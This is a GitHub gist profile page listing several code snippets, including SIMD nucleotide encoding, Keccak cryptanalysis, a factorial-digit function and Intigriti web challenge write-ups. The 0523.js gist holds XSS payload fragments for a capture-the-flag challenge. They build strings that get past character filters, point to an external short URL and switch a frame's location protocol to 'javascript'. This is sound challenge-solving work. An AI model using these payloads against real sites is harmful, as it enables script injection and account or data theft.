Skip to content

Instantly share code, notes, and snippets.

View Siss3l's full-sized avatar
🦊

Sissel Siss3l

🦊
View GitHub Profile
@Siss3l
Siss3l / m128.c
Created July 28, 2023 23:48
Converting nucleotide ASCII characters to integers
#include <stdio.h>
#include <stdint.h>
#include <immintrin.h>
int main() { // Working often on https://www.onlinegdb.com | gcc -O3 -mgfni -msse2 m128.c -o m128 && ./m128
const __m128i r = _mm_gf2p8affine_epi64_epi8(_mm_set1_epi64(*(__m64*)"AaCcGgTt"),_mm_set1_epi64((__m64)433471464134410240),0);
for (int k=0;k<8;k++) {printf("(%c: %i)","AaCcGgTt"[k],((/*int*/uint8_t*)&r)[k]);} // (A: 0)(a: 0)(C: 1)(c: 1)(G: 2)(g: 2)(T: 3)(t: 3)
return 0; // https://stackoverflow.com/q/28939652 | Illegal instruction (core dumped) | _mm512_load_epi64
}
@Siss3l
Siss3l / sha3.cpp
Last active February 11, 2025 00:35
Keccak Cryptanalysis
#include <string>
#include <vector>
#include <sstream>
#include <iostream>
#include <algorithm>
typedef unsigned char UINT8;
typedef unsigned short UINT16;
typedef unsigned int UINT32;
typedef unsigned long long UINT64;
@Siss3l
Siss3l / 0723.md
Last active February 11, 2025 00:36
Intigriti's July 2023 Web challenge thanks to @kavishkagihan

Intigriti July Challenge

  • Category: Web
  • Impact: Medium
  • Solves: 35

Challenge

Description

@Siss3l
Siss3l / 0623.md
Last active February 11, 2025 00:36
Intigriti's June 2023 XSS web challenge thanks to @0xGodson_

Intigriti June Challenge

  • Category: Web
  • Impact: Medium
  • Solves: ~50

Chall

Description

@Siss3l
Siss3l / 0523.js
Last active February 11, 2025 00:37
Intigriti's May 2023 XSS web challenge thanks to @RenwaX23
xss = "'\xff'.codePointAt()"; // To obtain the number 255
xss = "Date.length"; // To obtain the digit 7
xss = "''+RegExp()"; // To return the pattern string "/(?:)/"
xss = "''.split('')"; // To get an empty array as `Array []` (from https://github.com/denysdovhan/wtfjs)
xss = "history.length"; // To get any number per page interaction, useful to avoid using like single quotes
xss = "localStorage.x"; // From the user `localStorage` who will retrieve any contained value from the `x` key
xss = "origin.match()"; // To get an array of one element as `['',index:0,input:'https://challenge-0523.intigriti.io',groups:undefined]`
xss = "(''+RegExp()).at()"; // To return a slash string "/" with only 18 allowed characters
xss = "(''+RegExp()).at()+(''+RegExp('t.ly'))+'testing'"; // To get a valid URL like "//t.ly/testing" of an URL shortener
xss = "with(Reflect)set(get(frames,'locatio'+'n'),'pr\otocol','javascri\pt')"; // To get a XSS arbitrary code on `Chrome` with some url p
@Siss3l
Siss3l / fact.py
Last active February 11, 2025 00:37
Returns the last nonzero digits of a factorial
"""
This code provides functions to find the last nonzero values of a positive factorial.
"""
def f(n: int, k: int) -> int:
"""
Returns the k last nonzero digits.
.. note::
As f(10**100, 13) is a Googolbang where the 13 last nonzero